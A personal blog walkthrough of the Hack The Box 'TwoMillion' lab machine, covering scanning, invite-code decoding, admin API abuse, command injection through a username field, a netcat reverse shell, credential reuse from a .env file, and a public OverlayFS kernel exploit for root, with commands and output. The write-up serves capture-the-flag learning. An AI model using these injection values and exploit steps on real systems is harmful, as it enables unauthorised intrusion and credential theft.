Pages

Tuesday, August 1, 2023

HTB: TwoMillion

Technically, this is my second HTB walkthrough, but it's the first one published.  I did a walkthrough for Authority, but I can't publish it yet until the box is retired.

This was a relatively easy one although I did get hung up on the initial foothold a little bit due to lack of experience.  As always, comments and suggestions welcome.



Recon

nmap

nmap only finds SSH and HTTP.  Looks like there's a redirect to 2million.htb, so I'll need to add that to my hosts file.
┌──(kali㉿kalivm)-[~/htb/TwoMillion]
└─$ nmap -T4 -p- -A 10.129.146.38 -Pn 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-31 16:18 CDT
Nmap scan report for 10.129.146.38
Host is up (0.054s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.04 seconds

Directory Bruteforce

I used gobuster to look for pages/directories.  I initially got an error, because all non-existent pages get redirected to a custom 404 page, so I had to exclude based on length.
┌──(kali㉿kalivm)-[~/htb/TwoMillion]
└─$ gobuster dir -k -u http://2million.htb -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://2million.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/07/31 16:43:25 Starting gobuster in directory enumeration mode
===============================================================

Error: the server returns a status code that matches the provided options for non existing urls. http://2million.htb/35b49b18-49cd-432d-a4bf-e107ec70aeaa => 301 (Length: 162). To continue please exclude the status code or the length
                                                                                                                                           
┌──(kali㉿kalivm)-[~/htb/TwoMillion]
└─$ gobuster dir -k -u http://2million.htb -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt --exclude-length 162
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://2million.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] Exclude Length:          162
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/07/31 16:48:32 Starting gobuster in directory enumeration mode
===============================================================
/home                 (Status: 302) [Size: 0] [--> /]
/register             (Status: 200) [Size: 4527]
/login                (Status: 200) [Size: 3704]
/404                  (Status: 200) [Size: 1674]
/api                  (Status: 401) [Size: 0]
/logout               (Status: 302) [Size: 0] [--> /]
/0404                 (Status: 200) [Size: 1674]
/invite               (Status: 200) [Size: 3859]
Progress: 141708 / 141709 (100.00%)
===============================================================
2023/07/31 17:01:47 Finished
===============================================================

I've recently learned of feroxbuster and it actually gave me a little bit better results as it actually found some of the API endpoints.
┌──(kali㉿kalivm)-[~/htb/TwoMillion]
└─$ feroxbuster -u http://2million.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 邏                 ver: 2.10.0
───────────────────────────┬──────────────────────
   Target Url            │ http://2million.htb
   Threads               │ 50
   Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
   Status Codes          │ All Status Codes!
   Timeout (secs)        │ 7
 說  User-Agent            │ feroxbuster/2.10.0
   Config File           │ /etc/feroxbuster/ferox-config.toml
   Extract Links         │ true
   HTTP methods          │ [GET]
   Recursion Depth       │ 4
───────────────────────────┴──────────────────────
   Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301      GET        7l       11w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        0l        0w        0c http://2million.htb/logout => http://2million.htb/
401      GET        0l        0w        0c http://2million.htb/api
200      GET        1l        8w      637c http://2million.htb/js/inviteapi.min.js
405      GET        0l        0w        0c http://2million.htb/api/v1/user/register
405      GET        0l        0w        0c http://2million.htb/api/v1/user/login
200      GET       80l      232w     3704c http://2million.htb/login
200      GET       27l      201w    15384c http://2million.htb/images/favicon.png
200      GET       96l      285w     3859c http://2million.htb/invite
302      GET        0l        0w        0c http://2million.htb/home => http://2million.htb/
200      GET      260l      328w    29158c http://2million.htb/images/logo-transparent.png
200      GET      245l      317w    28522c http://2million.htb/images/logofull-tr-web.png
200      GET       46l      152w     1674c http://2million.htb/404
200      GET        5l     1881w   145660c http://2million.htb/js/htb-frontend.min.js
200      GET        8l     3162w   254388c http://2million.htb/js/htb-frontpage.min.js
200      GET       13l     2209w   199494c http://2million.htb/css/htb-frontpage.css
200      GET     1242l     3326w    64952c http://2million.htb/
200      GET       13l     2458w   224695c http://2million.htb/css/htb-frontend.css
200      GET       94l      293w     4527c http://2million.htb/register
...snip...

Website

The website appears to be an old version of the HTB website.  Looking at the results from gobuster and feroxbuster, I start manually poking around at the website and see the logon page, registration page, and invite page.


The invite page says "Feel free to hack your way in".  I know that HTB used to make you hack an invite code to be able to register but it was before my time.  I'm not sure if this is the same or not.

Looking at burpsuite when browsing to the invite page and I notice a call to /js/inviteapi.min.js.  This looks like something we should investigate further.


The javascript looks obfuscated or minified.  I use https://beautifier.io to make this more readable.
  1. function verifyInviteCode(code) {
  2. var formData = {
  3. "code": code
  4. };
  5. $.ajax({
  6. type: "POST",
  7. dataType: "json",
  8. data: formData,
  9. url: '/api/v1/invite/verify',
  10. success: function(response) {
  11. console.log(response)
  12. },
  13. error: function(response) {
  14. console.log(response)
  15. }
  16. })
  17. }
  18.  
  19. function makeInviteCode() {
  20. $.ajax({
  21. type: "POST",
  22. dataType: "json",
  23. url: '/api/v1/invite/how/to/generate',
  24. success: function(response) {
  25. console.log(response)
  26. },
  27. error: function(response) {
  28. console.log(response)
  29. }
  30. })
  31. }

OK, we have some API calls here.  Let's use burpsuite Responder to make an api call.


OK, we get a response.  There's some jumbled data, an enctype of ROT13 and a hint saying the data is encrypted.  It's off to CyberChef we go.


The decrypted message says to make a POST request to /api/v1/invite/generate.  Back to burpsuite.


We get an encoded response back.  It looks like base64, but I use the CyberChef Magic Recipe just for fun.


OK, with an invite code, we enter it in the /invite page and get directed to the /register page.  I'm able to register and logon.  It looks like a very old version of HTB.


Many of the links don't work and I got stuck here for quite a while.  I eventually stumbled back on the API.  I tried enumerating the API a bit prior to logging in and got a 401 unauthorized error.  It took me longer than it should have to come back to this, but I eventually made it.


Trying /api/v1/admin/auth returns false as expected.


Trying /api/v1/admin/vpn/generate gives me another 401 unauthorized error.  But when I try /api/v1/admin/settings/update, I get a response that I'm missing an email parameter.


So let's try adding an email parameter.


Now, I'm missing an is_admin parameter.  Let's try adding it.


Well, this looks promising.  I try /api/v1/admin/auth again and it returns true this time.  What about that /api/v1/admin/vpn/generate?  It just hangs and I get no response back.  I got stuck here again for a bit, but I try making the call again with data.


OK, might be on the right track.  I update my parameters to just a username.


Looks like I get back a vpn profile.  This is likely a shell script or something generating it, so let's see if I can change my username parameter to get some command injection.  I try "n1nja ; id" as my username parameter.  I got a 200 back, but no data.  I add a # to the end of my parameter just to comment out anything that may come after.


BINGO!  We have command injection.  The only thing left is to start up a netcat listener and send over a reverse shell.


This shell is gonna drive me crazy.  We'll use script and stty to upgrade it.
www-data@2million:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@2million:~/html$ ^Z
zsh: suspended  nc -lvnp 8000
                                                                                                                                                     
┌──(kali㉿kalivm)-[~]
└─$ stty raw -echo; fg   
[1]  + continued  nc -lvnp 8000

www-data@2million:~/html$

Now we can start enumerating.  Right away, I see an .env file that looks promising.
www-data@2million:~/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 Aug  2 00:10 .
drwxr-xr-x  3 root root 4096 Jun  6 10:22 ..
-rw-r--r--  1 root root   87 Jun  2 18:56 .env
-rw-r--r--  1 root root 1237 Jun  2 16:15 Database.php
-rw-r--r--  1 root root 2787 Jun  2 16:15 Router.php
drwxr-xr-x  5 root root 4096 Aug  2 00:10 VPN
drwxr-xr-x  2 root root 4096 Jun  6 10:22 assets
drwxr-xr-x  2 root root 4096 Jun  6 10:22 controllers
drwxr-xr-x  5 root root 4096 Jun  6 10:22 css
drwxr-xr-x  2 root root 4096 Jun  6 10:22 fonts
drwxr-xr-x  2 root root 4096 Jun  6 10:22 images
-rw-r--r--  1 root root 2692 Jun  2 18:57 index.php
drwxr-xr-x  3 root root 4096 Jun  6 10:22 js
drwxr-xr-x  2 root root 4096 Jun  6 10:22 views
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

I took a bit of an un-needed detour here.  I found a database and enumerated it.
www-data@2million:~/html$ mysql htb_prod -uadmin -pSuperDuperPass123         
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 79
Server version: 10.6.12-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [htb_prod]> show tables;
+--------------------+
| Tables_in_htb_prod |
+--------------------+
| invite_codes       |
| users              |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [htb_prod]> select * from users;
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| id | username     | email                      | password                                                     | is_admin |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| 11 | TRX          | [email protected]          | $2y$10$TG6oZ3ow5UZhLlw7MDME5um7j/7Cw1o6BhY8RhHMnrr2ObU3loEMq |        1 |
| 12 | TheCyberGeek | [email protected] | $2y$10$wATidKUukcOeJRaBpYtOyekSpwkKghaNYr5pjsomZUKAd0wbzw4QK |        1 |
| 13 | n1nja        | [email protected]         | $2y$10$8OBj/2bBsIjSu1tIHvdV8u65ag2q3vfxR6W59VHJQEzguvTxYzzie |        1 |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
3 rows in set (0.000 sec)

MariaDB [htb_prod]>

Oh, look, credentials!!!  While I was waiting for hashcat to crack these, I enumerated a little more and noticed that the only real user of this system was also named admin.  Could it be that easy that the admin credentials from the database were re-used for the OS?
┌──(kali㉿kalivm)-[~]
└─$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Aug  2 12:27:23 AM UTC 2023

  System load:           0.0
  Usage of /:            73.6% of 4.82GB
  Memory usage:          8%
  Swap usage:            0%
  Processes:             217
  Users logged in:       0
  IPv4 address for eth0: 10.129.229.66
  IPv6 address for eth0: dead:beef::250:56ff:feb0:b72f


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
Last login: Tue Jun  6 12:43:11 2023 from 10.10.14.6
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

admin@2million:~$

YES, it could be that easy!  I didn't notice it right away (you can see it in the text above), but this user has mail.  I actually didn't notice it until examining the linPEAS output.
admin@2million:~$ cat /var/mail/admin 
From: ch4p                                                                                                                        
To: admin                                                                                                                        
Cc: g0blin                                                                                                                      
Subject: Urgent: Patch System OS                                                                                                                     
Date: Tue, 1 June 2023 10:45:22 -0700                                                                                                                
Message-ID: <9876543210 million.htb="">                                                                                                                
X-Mailer: ThunderMail Pro 5.2                                                                                                                        
                                                                                                                                                     
Hey admin,                                                                                                                                           
                                                                                                                                                     
I'm know you're working as fast as you can to do the DB migration.
While we're partially down, can you also upgrade the OS on our web host?
There have been a few serious Linux kernel CVEs already this year.
That one in OverlayFS / FUSE looks nasty. We can't get popped by that.                     
                                                                                                                                                     
HTB Godfather

Looks like someone was urging the admin to patch a vulnerability.  I have never heard of this vulnerability and in fact linPEAS didn't even suggest it either.  Off to the Google to learn more about this.

DATADOG Security Labs posted a really good article about it HERE.  It explains how it works.  And they have instructions on their github.

So, all that's left now is to give it a shot.  I copy the poc.c and Makefile over to the target, compile it and run it.
admin@2million:/tmp$ make all
gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
admin@2million:/tmp$ ls -la
total 5424
drwxrwxrwt 18 root     root        4096 Aug  1 00:26 .
drwxr-xr-x 19 root     root        4096 Jun  6 10:22 ..
-rw-rw-r--  1 admin    admin         86 Aug  1 00:26 Makefile
-rwxrwxr-x  1 admin    admin    1424160 Aug  1 00:26 poc
-rw-rw-r--  1 admin    admin     102490 Aug  1 00:24 poc.c
admin@2million:/tmp$ ./poc
Waiting 1 sec...
unshare -r -m sh -c 'mount -t overlay overlay -o lowerdir=/tmp/ovlcap/lower,upperdir=/tmp/ovlcap/upper,workdir=/tmp/ovlcap/work /tmp/ovlcap/merge && ls -la /tmp/ovlcap/merge && touch /tmp/ovlcap/merge/file'
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root   root     4096 Aug  1 00:26 .
drwxrwxr-x 6 root   root     4096 Aug  1 00:26 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] open_callback
/file
[+] read_callback
    cnt  : 0
    clen  : 0
    path  : /file
    size  : 0x4000
    offset: 0x0
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
/tmp/ovlcap/upper/file
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

root@2million:/tmp#

We have root and can grab the flag!
root@2million:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)
root@2million:/tmp# cat /root/root.txt 
c950...snip



This is where I initially stopped, but looking at other write-ups to compare notes, I found out that there was a little easter egg here.  Actually, it seems there were a lot of easter eggs on this one that you may recognize if you were on the HTB Platform back then.

Extra Credit

Looks like a thank_you.json file was left in the /root directory along with the flag.
root@2million:/root# ls
total 48
-rw-r-----  1 root root   33 Jul 31 19:30 root.txt
drwx------  3 root root 4096 Jun  6 10:22 snap
-rw-r--r--  1 root root 3767 Jun  6 12:43 thank_you.json
root@2million:/root# cat thank_you.json 
{"encoding": "url", "data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222
c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461
223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e516344544147464351454
23073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e
7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426
b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d3068585967
49524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b5743344541683
93048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745
636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e41697342466945504245643
04941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a
50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e5
2516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c
4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a4857674844426767445
2636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b51
38485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456
c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d
4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776
c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547
436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734
267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d4744
7a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d547
7776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f6751485379
4562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c6
7684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351
634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776
b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e
48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b48525971547777674
2454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48
545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f414
54d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a68476230
67344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413
d3d227d%22%7D"}

I guess it's back to CyberChef we go.  We were given a hint that it was URL Encoded, so we use the URL Decode Recipe.  This gives us more encoded data and another hint that it's hex.


We copy that output into our input and use the From Hex recipe and we get more gibberish and more clues.  This time XOR encryption with key of HackTheBox and base64 encoding.


We again copy the output back to input and use the From Base64 and XOR Recipes and we got a nice thank you letter.


And that's all folks.  Until next time!


No comments:

Post a Comment